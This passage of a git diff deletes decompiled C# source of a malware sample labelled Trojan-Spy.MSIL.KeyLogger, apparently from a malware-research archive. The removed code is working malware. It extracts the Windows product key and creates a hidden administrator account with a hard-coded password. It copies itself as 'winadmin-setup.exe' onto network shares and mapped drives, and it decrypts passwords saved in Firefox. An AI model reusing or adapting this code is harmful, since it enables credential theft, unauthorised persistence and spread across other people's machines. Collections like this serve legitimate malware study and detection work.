230: - goto label_229; - case 231: - goto label_230; - case 232: - goto label_231; - case 233: - goto label_232; - case 234: - goto label_233; - case 235: - goto label_234; - case 236: - goto label_235; - case 237: - goto label_236; - case 238: - goto label_237; - case 239: - goto label_238; - case 240: - goto label_239; - case 241: - goto label_240; - case 242: - goto label_241; - case 243: - goto label_242; - case 244: - goto label_243; - case 245: - goto label_244; - case 246: - goto label_245; - case 247: - goto label_246; - case 248: - goto label_247; - case 249: - goto label_248; - case 250: - goto label_249; - case 251: - goto label_250; - case 252: - goto label_251; - case 253: - goto label_252; - case 254: - goto label_253; - case (int) byte.MaxValue: - goto label_254; - case 256: - goto label_255; - case 257: - goto label_256; - case 258: - goto label_257; - case 259: - goto label_258; - case 260: - goto label_259; - case 261: - goto label_260; - case 262: - goto label_261; - case 263: - goto label_262; - case 264: - goto label_263; - case 265: - goto label_264; - case 266: - goto label_265; - case 267: - goto label_266; - case 268: - goto label_267; - case 269: - goto label_268; - case 270: - goto label_269; - case 271: - goto label_270; - case 272: - goto label_271; - case 273: - goto label_272; - case 274: - goto label_273; - case 275: - goto label_274; - case 276: - goto label_275; - case 277: - goto label_276; - case 278: - goto label_277; - case 279: - goto label_278; - case 280: - goto label_279; - case 281: - goto label_280; - case 282: - goto label_281; - case 283: - goto label_282; - case 284: - goto label_283; - case 285: - goto label_284; - case 286: - goto label_285; - case 287: - goto label_286; - case 288: - goto label_287; - case 289: - goto label_288; - case 290: - goto label_289; - case 291: - goto label_290; - case 292: - goto label_291; - case 293: - goto label_292; - case 294: - goto label_293; - case 295: - goto label_294; - case 296: - goto label_295; - case 297: - goto label_296; - case 298: - goto label_297; - case 299: - goto label_298; - case 300: - goto label_299; - case 301: - goto label_300; - case 302: - goto label_301; - case 303: - goto label_302; - case 304: - goto label_303; - case 305: - goto label_304; - case 306: - goto label_305; - case 307: - goto label_306; - case 308: - goto label_307; - case 309: - goto label_308; - case 310: - goto label_309; - case 311: - goto label_310; - case 312: - goto label_311; - case 313: - goto label_312; - case 314: - goto label_313; - case 315: - goto label_314; - case 316: - goto label_315; - case 317: - goto label_316; - case 318: - goto label_317; - case 319: - goto label_318; - case 320: - goto label_319; - case 321: - goto label_320; - case 322: - goto label_321; - case 323: - goto label_322; - case 324: - goto label_323; - case 325: - goto label_324; - case 326: - goto label_325; - case 327: - goto label_326; - case 328: - goto label_327; - case 329: - goto label_328; - case 330: - goto label_329; - case 331: - goto label_330; - case 332: - goto label_331; - case 333: - goto label_332; - case 334: - goto label_333; - case 335: - goto label_334; - case 336: - goto label_335; - case 337: - goto label_336; - case 338: - goto label_337; - case 339: - goto label_338; - case 340: - goto label_339; - case 341: - goto label_340; - case 342: - goto label_341; - case 343: - goto label_342; - case 344: - goto label_343; - case 345: - goto label_344; - case 346: - goto label_345; - case 347: - goto label_346; - case 348: - goto label_347; - case 349: - goto label_348; - case 350: - goto label_349; - case 351: - goto label_350; - case 352: - goto label_351; - case 353: - goto label_352; - case 354: - goto label_353; - case 355: - goto label_354; - case 356: - goto label_355; - case 357: - goto label_356; - case 358: - goto label_357; - case 359: - goto label_358; - case 360: - goto label_359; - case 361: - goto label_360; - case 362: - goto label_361; - case 363: - goto label_362; - case 364: - goto label_363; - case 365: - goto label_364; - case 366: - goto label_365; - case 367: - goto label_366; - case 368: - goto label_367; - case 369: - goto label_368; - case 370: - goto label_369; - case 371: - goto label_370; - case 372: - goto label_371; - case 373: - goto label_372; - case 374: - goto label_373; - case 375: - goto label_374; - case 376: - goto label_375; - case 377: - goto label_376; - case 378: - goto label_377; - case 379: - goto label_378; - case 380: - goto label_379; - case 381: - goto label_380; - case 382: - goto label_381; - case 383: - goto label_382; - case 384: - goto label_383; - case 385: - goto label_384; - case 386: - goto label_385; - case 387: - goto label_386; - case 388: - goto label_387; - case 389: - goto label_388; - case 390: - goto label_389; - case 391: - goto label_390; - case 392: - goto label_391; - case 393: - goto label_392; - case 394: - goto label_393; - case 395: - goto label_394; - case 396: - goto label_395; - case 397: - goto label_396; - case 398: - goto label_397; - case 399: - goto label_398; - case 400: - goto label_399; - case 401: - goto label_400; - case 402: - goto label_401; - case 403: - goto label_402; - case 404: - goto label_403; - case 405: - goto label_404; - case 406: - goto label_405; - case 407: - goto label_406; - case 408: - goto label_407; - case 409: - goto label_408; - case 410: - goto label_409; - case 411: - goto label_410; - case 412: - goto label_411; - case 413: - goto label_412; - case 414: - goto label_413; - case 415: - goto label_414; - case 416: - goto label_415; - case 417: - goto label_416; - case 418: - goto label_417; - case 419: - goto label_418; - case 420: - goto label_419; - case 421: - goto label_420; - case 422: - goto label_421; - case 423: - goto label_422; - case 424: - goto label_423; - case 425: - goto label_424; - case 426: - goto label_425; - case 427: - goto label_426; - case 428: - goto label_427; - case 429: - goto label_428; - case 430: - goto label_429; - case 431: - goto label_430; - case 432: - goto label_431; - case 433: - goto label_432; - case 434: - goto label_433; - case 435: - goto label_434; - case 436: - goto label_435; - case 437: - goto label_436; - case 438: - goto label_437; - case 439: - goto label_438; - case 440: - goto label_439; - case 441: - goto label_440; - case 442: - goto label_441; - case 443: - goto label_442; - case 444: - goto label_443; - case 445: - goto label_444; - case 446: - goto label_445; - case 447: - goto label_446; - case 448: - goto label_447; - case 449: - goto label_448; - case 450: - goto label_449; - case 451: - goto label_450; - case 452: - goto label_451; - case 453: - goto label_452; - case 454: - goto label_453; - case 455: - goto label_454; - case 456: - goto label_455; - case 457: - goto label_456; - case 458: - goto label_457; - case 459: - goto label_458; - case 460: - goto label_459; - case 461: - goto label_460; - case 462: - goto label_461; - case 463: - goto label_462; - case 464: - goto label_463; - case 465: - goto label_464; - case 466: - goto label_465; - case 467: - goto label_466; - case 468: - goto label_467; - case 469: - goto label_468; - case 470: - goto label_469; - case 471: - goto label_470; - case 472: - goto label_471; - case 473: - goto label_472; - case 474: - goto label_473; - case 475: - goto label_474; - case 476: - goto label_475; - case 477: - goto label_476; - case 478: - goto label_477; - case 479: - goto label_478; - case 480: - goto label_479; - case 481: - goto label_480; - case 482: - goto label_481; - case 483: - goto label_482; - case 484: - goto label_483; - case 485: - goto label_484; - case 486: - goto label_485; - case 487: - goto label_486; - case 488: - goto label_487; - case 489: - goto label_488; - case 490: - goto label_489; - case 491: - goto label_490; - case 492: - goto label_491; - case 493: - goto label_492; - case 494: - goto label_493; - case 495: - goto label_494; - case 496: - goto label_495; - case 497: - goto label_496; - case 498: - goto label_497; - case 499: - goto label_498; - case 500: - goto label_499; - case 501: - goto label_500; - case 502: - goto label_501; - case 503: - goto label_502; - case 504: - goto label_503; - case 505: - goto label_504; - case 506: - goto label_505; - case 507: - goto label_506; - case 508: - goto label_507; - case 509: - goto label_508; - case 510: - goto label_509; - case 511: - goto label_510; - case 512: - goto label_511; - case 513: - goto label_512; - case 514: - goto label_513; - case 515: - goto label_514; - case 516: - goto label_515; - case 517: - goto label_516; - case 518: - goto label_517; - case 519: - goto label_518; - case 520: - goto label_519; - case 521: - goto label_520; - case 522: - goto label_521; - case 523: - goto label_522; - case 524: - goto label_523; - case 525: - goto label_524; - case 526: - goto label_525; - case 527: - goto label_526; - case 528: - goto label_527; - case 529: - goto label_528; - case 530: - goto label_529; - case 531: - goto label_530; - case 532: - goto label_531; - case 533: - goto label_532; - case 534: - goto label_533; - case 535: - goto label_534; - case 536: - goto label_535; - case 537: - goto label_536; - case 538: - goto label_537; - case 539: - goto label_538; - case 540: - goto label_539; - case 541: - goto label_540; - case 542: - goto label_541; - case 543: - goto label_542; - case 544: - goto label_543; - case 545: - goto label_544; - case 546: - goto label_545; - case 547: - goto label_546; - case 548: - goto label_547; - case 549: - goto label_548; - case 550: - goto label_549; - case 551: - goto label_550; - case 552: - goto label_551; - case 553: - goto label_552; - case 554: - goto label_553; - case 555: - goto label_554; - case 556: - goto label_555; - case 557: - goto label_556; - case 558: - goto label_557; - case 559: - goto label_558; - case 560: - goto label_559; - case 561: - goto label_560; - case 562: - goto label_561; - case 563: - goto label_562; - case 564: - goto label_563; - case 565: - goto label_564; - case 566: - goto label_565; - case 567: - goto label_566; - case 568: - goto label_567; - case 569: - goto label_568; - case 570: - goto label_569; - case 571: - goto label_570; - case 572: - goto label_571; - case 573: - goto label_572; - case 574: - goto label_573; - case 575: - goto label_574; - case 576: - goto label_575; - case 577: - goto label_576; - case 578: - goto label_577; - case 579: - goto label_578; - case 580: - goto label_579; - case 581: - goto label_580; - case 582: - goto label_581; - case 583: - goto label_582; - case 584: - goto label_583; - case 585: - goto label_584; - case 586: - goto label_585; - case 587: - goto label_586; - case 588: - goto label_587; - case 589: - goto label_588; - case 590: - goto label_589; - case 591: - goto label_590; - case 592: - goto label_591; - case 593: - goto label_592; - case 594: - goto label_593; - case 595: - goto label_594; - case 596: - goto label_595; - case 597: - goto label_596; - case 598: - goto label_597; - case 599: - goto label_598; - case 600: - goto label_599; - case 601: - goto label_600; - case 602: - goto label_601; - case 603: - goto label_602; - case 604: - goto label_603; - case 605: - goto label_604; - case 606: - goto label_605; - case 607: - goto label_606; - case 608: - goto label_607; - case 609: - goto label_608; - case 610: - goto label_609; - case 611: - goto label_610; - case 612: - goto label_611; - case 613: - goto label_612; - case 614: - goto label_613; - case 615: - goto label_614; - case 616: - goto label_615; - case 617: - goto label_616; - case 618: - goto label_617; - case 619: - goto label_618; - case 620: - goto label_619; - case 621: - goto label_620; - case 622: - goto label_621; - case 623: - goto label_622; - case 624: - goto label_623; - case 625: - goto label_624; - case 626: - goto label_625; - case 627: - goto label_626; - case 628: - goto label_627; - case 629: - goto label_628; - case 630: - goto label_629; - case 631: - goto label_630; - case 632: - goto label_631; - case 633: - goto label_632; - case 634: - goto label_633; - case 635: - goto label_634; - case 636: - goto label_635; - case 637: - goto label_636; - case 638: - goto label_637; - case 639: - goto label_638; - case 640: - goto label_639; - case 641: - goto label_640; - case 642: - goto label_641; - case 643: - goto label_642; - case 644: - goto label_643; - case 645: - goto label_644; - case 646: - goto label_645; - case 647: - goto label_646; - case 648: - goto label_647; - case 649: - goto label_648; - case 650: - goto label_649; - case 651: - goto label_650; - case 652: - goto label_651; - case 653: - goto label_652; - case 654: - goto label_653; - case 655: - goto label_654; - case 656: - goto label_655; - case 657: - goto label_656; - case 658: - goto label_657; - case 659: - goto label_658; - case 660: - goto label_659; - case 661: - goto label_660; - case 662: - goto label_661; - case 663: - goto label_662; - case 664: - goto label_663; - case 665: - goto label_664; - case 666: - goto label_665; - case 667: - goto label_666; - case 668: - goto label_667; - case 669: - goto label_668; - case 670: - goto label_669; - case 671: - goto label_670; - case 672: - goto label_671; - case 673: - goto label_672; - case 674: - goto label_673; - case 675: - goto label_674; - case 676: - goto label_675; - case 677: - goto label_676; - case 678: - goto label_677; - case 679: - goto label_678; - case 680: - goto label_679; - case 681: - goto label_680; - case 682: - goto label_681; - case 683: - goto label_682; - case 684: - goto label_683; - case 685: - goto label_684; - case 686: - goto label_685; - case 687: - goto label_686; - case 688: - goto label_687; - case 689: - goto label_688; - case 690: - goto label_689; - case 691: - goto label_690; - case 692: - goto label_691; - case 693: - goto label_692; - case 694: - goto label_693; - case 695: - goto label_694; - case 696: - goto label_695; - case 697: - goto label_696; - case 698: - goto label_697; - case 699: - goto label_698; - case 700: - goto label_699; - case 701: - goto label_700; - case 702: - goto label_701; - case 703: - goto label_702; - case 704: - goto label_703; - case 705: - goto label_704; - case 706: - goto label_705; - case 707: - goto label_706; - case 708: - goto label_707; - case 709: - goto label_708; - case 710: - goto label_709; - case 711: - goto label_710; - case 712: - goto label_711; - case 713: - goto label_712; - case 714: - goto label_713; - case 715: - goto label_714; - case 716: - goto label_715; - case 717: - goto label_716; - case 718: - goto label_717; - case 719: - goto label_718; - case 720: - goto label_719; - case 721: - goto label_720; - case 722: - goto label_721; - case 723: - goto label_722; - case 724: - goto label_723; - case 725: - goto label_724; - case 726: - goto label_725; - case 727: - goto label_726; - case 728: - goto label_727; - case 729: - goto label_728; - case 730: - goto label_729; - case 731: - goto label_730; - case 732: - goto label_731; - case 733: - goto label_732; - case 734: - goto label_733; - case 735: - goto label_734; - case 736: - goto label_735; - case 737: - goto label_736; - case 738: - goto label_737; - case 739: - goto label_738; - case 740: - goto label_739; - case 741: - goto label_740; - case 742: - goto label_741; - case 743: - goto label_742; - case 744: - goto label_743; - case 745: - goto label_744; - case 746: - goto label_745; - case 747: - goto label_746; - case 748: - goto label_747; - case 749: - goto label_748; - case 750: - goto label_749; - case 751: - goto label_750; - case 752: - goto label_751; - case 753: - goto label_752; - case 754: - goto label_753; - case 755: - goto label_754; - case 756: - goto label_755; - case 757: - goto label_756; - case 758: - goto label_757; - case 759: - goto label_758; - case 760: - goto label_759; - case 761: - goto label_760; - case 762: - goto label_761; - case 763: - goto label_762; - case 764: - goto label_763; - case 765: - goto label_764; - case 766: - goto label_765; - case 767: - goto label_766; - case 768: - goto label_767; - case 769: - goto label_768; - case 770: - goto label_775; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_770; - } - throw ProjectData.CreateProjectError(-2146828237); -label_775: - string str233 = str1; - if (num2 == 0) - return str233; - ProjectData.ClearProjectError(); - return str233; - } - - public static string GetProductKey(string KeyPath, string ValueName) - { - object objectValue = RuntimeHelpers.GetObjectValue(MyProject.Computer.Registry.GetValue(KeyPath, ValueName, (object) 0)); - if (objectValue == null) - return "N/A"; - string str1 = ""; - int num1 = Information.LBound((Array) objectValue); - int num2 = Information.UBound((Array) objectValue); - int num3 = num1; - while (num3 <= num2) - { - str1 = str1 + " " + Conversion.Hex(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(objectValue, new object[1] - { - (object) num3 - }, (string[]) null))); - checked { ++num3; } - } - int num4 = 52; - int num5 = 67; - string[] strArray1 = new string[25] - { - "B", - "C", - "D", - "F", - "G", - "H", - "J", - "K", - "M", - "P", - "Q", - "R", - "T", - "V", - "W", - "X", - "Y", - "2", - "3", - "4", - "6", - "7", - "8", - "9", - null - }; - int num6 = 29; - int num7 = 15; - string[] strArray2 = new string[16]; - string[] strArray3 = new string[31]; - string str2 = ""; - int num8 = num4; - int num9 = num5; - int num10 = num8; - while (num10 <= num9) - { - strArray2[checked (num10 - num4)] = Conversions.ToString(NewLateBinding.LateIndexGet(objectValue, new object[1] - { - (object) num10 - }, (string[]) null)); - str2 = str2 + " " + Conversion.Hex((object) strArray2[checked (num10 - num4)]); - checked { ++num10; } - } - string Expression = ""; - int index1 = checked (num6 - 1); - while (index1 >= 0) - { - if (checked (index1 + 1) % 6 == 0) - { - strArray3[index1] = "-"; - Expression += "-"; - } - else - { - int index2 = 0; - int index3 = checked (num7 - 1); - while (index3 >= 0) - { - int num11 = checked ((int) ((long) Math.Round(unchecked ((double) index2 * 256.0)) | Conversions.ToLong(strArray2[index3]))); - strArray2[index3] = Conversions.ToString(num11 / 24); - index2 = num11 % 24; - checked { index3 += -1; } - } - strArray3[index1] = strArray1[index2]; - Expression += strArray1[index2]; - } - checked { index1 += -1; } - } - return Strings.StrReverse(Expression); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/LAN.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/LAN.cs deleted file mode 100644 index e593d8b6..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/LAN.cs +++ /dev/null @@ -1,137 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.LAN -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Diagnostics; -using System.DirectoryServices; -using System.IO; -using System.Management; -using System.Runtime.CompilerServices; - -namespace Roy -{ - [StandardModule] - internal sealed class LAN - { - public static string me = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); - - public static bool chkIt() - { - if (Operators.CompareString((string) Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Universal", "Universal", (object) "Universal"), "Universal", false) == 0) - return true; - Registry.LocalMachine.OpenSubKey("Software", true).CreateSubKey("Universal").SetValue("Universal", (object) LAN.me); - return false; - } - - public static void UniversalUser() - { - try - { - DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer"); - DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add("Universal", "user"); - directoryEntry2.Invoke("SetPassword", (object) "Universalwashere"); - directoryEntry2.CommitChanges(); - directoryEntry1.Children.Find("Administrators", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - try - { - Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList", "Universal", (object) 0, RegistryValueKind.DWord); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void Share() - { - try - { - ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("select * from win32_share"); - try - { - foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get()) - { - string str = Convert.ToString(RuntimeHelpers.GetObjectValue(managementBaseObject["Name"])); - if (!str.Contains("$")) - File.Copy(LAN.me, "\\\\" + Environment.MachineName + "\\" + str + "\\winadmin-setup.exe", true); - } - } - finally - { - ManagementObjectCollection.ManagementObjectEnumerator objectEnumerator; - objectEnumerator?.Dispose(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - string name1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Map Network Drive MRU\\"; - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(name1); - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string name2 = valueNames[index]; - string str = registryKey.GetValue(name2).ToString(); - if (Operators.CompareString(name2.ToLower(), "mrulist", false) != 0) - { - try - { - File.Copy(LAN.me, str + "\\\\winadmin-setup.exe", true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - checked { ++index; } - } - registryKey.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void CreateShare(string dir, string name) - { - try - { - Directory.CreateDirectory(dir); - ManagementClass managementClass = new ManagementClass("Win32_Share"); - ManagementBaseObject methodParameters = managementClass.GetMethodParameters("Create"); - methodParameters["Description"] = (object) name; - methodParameters["Name"] = (object) name; - methodParameters["Path"] = (object) dir; - methodParameters["Type"] = (object) 0; - if (Conversions.ToUInteger(managementClass.InvokeMethod("Create", methodParameters, (InvokeMethodOptions) null).Properties["ReturnValue"].Value) != 0U || !Directory.Exists(dir)) - return; - new DirectoryInfo(dir).Attributes = FileAttributes.Hidden; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Module1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Module1.cs deleted file mode 100644 index 2dbf68f1..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Module1.cs +++ /dev/null @@ -1,193 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.Module1 -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic.CompilerServices; -using Roy.My; -using System; -using System.Collections; -using System.Data; -using System.IO; -using System.Runtime.InteropServices; -using System.Text; -using System.Text.RegularExpressions; - -namespace Roy -{ - [StandardModule] - internal sealed class Module1 - { - private static IntPtr NSS3; - public static string signon; - - [DllImport("kernel32.dll")] - private static extern IntPtr LoadLibrary(string dllFilePath); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - - public static long NSS_Init(string configdir) - { - string str = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\"; - Module1.LoadLibrary(str + "mozcrt19.dll"); - Module1.LoadLibrary(str + "nspr4.dll"); - Module1.LoadLibrary(str + "plc4.dll"); - Module1.LoadLibrary(str + "plds4.dll"); - Module1.LoadLibrary(str + "ssutil3.dll"); - Module1.LoadLibrary(str + "sqlite3.dll"); - Module1.LoadLibrary(str + "nssutil3.dll"); - Module1.LoadLibrary(str + "softokn3.dll"); - Module1.NSS3 = Module1.LoadLibrary(str + "nss3.dll"); - return ((Module1.DLLFunctionDelegate) Marshal.GetDelegateForFunctionPointer(Module1.GetProcAddress(Module1.NSS3, nameof (NSS_Init)), typeof (Module1.DLLFunctionDelegate)))(configdir); - } - - public static long PK11_GetInternalKeySlot() => ((Module1.DLLFunctionDelegate2) Marshal.GetDelegateForFunctionPointer(Module1.GetProcAddress(Module1.NSS3, nameof (PK11_GetInternalKeySlot)), typeof (Module1.DLLFunctionDelegate2)))(); - - public static long PK11_Authenticate(long slot, bool loadCerts, long wincx) => ((Module1.DLLFunctionDelegate3) Marshal.GetDelegateForFunctionPointer(Module1.GetProcAddress(Module1.NSS3, nameof (PK11_Authenticate)), typeof (Module1.DLLFunctionDelegate3)))(slot, loadCerts, wincx); - - public static int NSSBase64_DecodeBuffer( - IntPtr arenaOpt, - IntPtr outItemOpt, - StringBuilder inStr, - int inLen) - { - return ((Module1.DLLFunctionDelegate4) Marshal.GetDelegateForFunctionPointer(Module1.GetProcAddress(Module1.NSS3, nameof (NSSBase64_DecodeBuffer)), typeof (Module1.DLLFunctionDelegate4)))(arenaOpt, outItemOpt, inStr, inLen); - } - - public static int PK11SDR_Decrypt( - ref Module1.TSECItem data, - ref Module1.TSECItem result, - int cx) - { - return ((Module1.DLLFunctionDelegate5) Marshal.GetDelegateForFunctionPointer(Module1.GetProcAddress(Module1.NSS3, nameof (PK11SDR_Decrypt)), typeof (Module1.DLLFunctionDelegate5)))(ref data, ref result, cx); - } - - public static void Main() - { - string str1 = (string) null; - bool flag = false; - string str2 = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\"; - string[] directories = Directory.GetDirectories(Environment.GetEnvironmentVariable("APPDATA") + "\\Mozilla\\Firefox\\Profiles"); - int index1 = 0; - while (index1 < directories.Length) - { - string str3 = directories[index1]; - if (!flag) - { - string[] files = Directory.GetFiles(str3); - int index2 = 0; - while (index2 < files.Length) - { - string input = files[index2]; - if (!flag) - { - if (Regex.IsMatch(input, "signons.sqlite")) - { - Module1.NSS_Init(str3); - Module1.signon = input; - } - checked { ++index2; } - } - else - break; - } - checked { ++index1; } - } - else - break; - } - string signon = Module1.signon; - Module1.TSECItem tsecItem = new Module1.TSECItem(); - Module1.TSECItem result1 = new Module1.TSECItem(); - Module1.TSECItem result2 = new Module1.TSECItem(); - SQLiteBase sqLiteBase = new SQLiteBase(signon); - DataTable dataTable1 = sqLiteBase.ExecuteQuery("SELECT * FROM moz_logins;"); - DataTable dataTable2 = sqLiteBase.ExecuteQuery("SELECT * FROM moz_disabledHosts;"); - try - { - foreach (DataRow row in dataTable2.Rows) - str1 = str1 + Environment.NewLine + "------------------".ToString(); - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - Module1.PK11_Authenticate(Module1.PK11_GetInternalKeySlot(), true, 0L); - try - { - foreach (DataRow row in dataTable1.Rows) - { - string str4 = Convert.ToString(row["formSubmitURL"].ToString()); - str1 = str1 + Environment.NewLine + "Site: " + str4; - StringBuilder inStr1 = new StringBuilder(row["encryptedUsername"].ToString()); - IntPtr num = new IntPtr(Module1.NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, inStr1, inStr1.Length)); - Module1.TSECItem structure1 = (Module1.TSECItem) Marshal.PtrToStructure(num, typeof (Module1.TSECItem)); - if (Module1.PK11SDR_Decrypt(ref structure1, ref result1, 0) == 0 && result1.SECItemLen != 0) - { - byte[] numArray = new byte[checked (result1.SECItemLen - 1 + 1)]; - num = new IntPtr(result1.SECItemData); - Marshal.Copy(num, numArray, 0, result1.SECItemLen); - str1 = str1 + Environment.NewLine + "User name: " + Encoding.ASCII.GetString(numArray); - } - StringBuilder inStr2 = new StringBuilder(row["encryptedPassword"].ToString()); - num = new IntPtr(Module1.NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, inStr2, inStr2.Length)); - Module1.TSECItem structure2 = (Module1.TSECItem) Marshal.PtrToStructure(num, typeof (Module1.TSECItem)); - if (Module1.PK11SDR_Decrypt(ref structure2, ref result2, 0) == 0 && result2.SECItemLen != 0) - { - byte[] numArray = new byte[checked (result2.SECItemLen - 1 + 1)]; - num = new IntPtr(result2.SECItemData); - Marshal.Copy(num, numArray, 0, result2.SECItemLen); - str1 = str1 + Environment.NewLine + "Password: " + Encoding.ASCII.GetString(numArray) + Environment.NewLine; - } - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - MyProject.Forms.Form1.TextBox7.Text = MyProject.Forms.Form1.TextBox7.Text + str1 + Environment.NewLine; - MyProject.Forms.Form1.TextBox7.Text = MyProject.Forms.Form1.TextBox7.Text + "----------------" + Environment.NewLine; - } - - public class SHITEMID - { - public static long cb; - public static byte[] abID; - } - - public struct TSECItem - { - public int SECItemType; - public int SECItemData; - public int SECItemLen; - } - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate long DLLFunctionDelegate(string configdir); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate long DLLFunctionDelegate2(); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate long DLLFunctionDelegate3(long slot, bool loadCerts, long wincx); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int DLLFunctionDelegate4( - IntPtr arenaOpt, - IntPtr outItemOpt, - StringBuilder inStr, - int inLen); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int DLLFunctionDelegate5( - ref Module1.TSECItem data, - ref Module1.TSECItem result, - int cx); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MyApplication.cs deleted file mode 100644 index 4b16cf97..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.My.MyApplication -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Roy.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MyComputer.cs 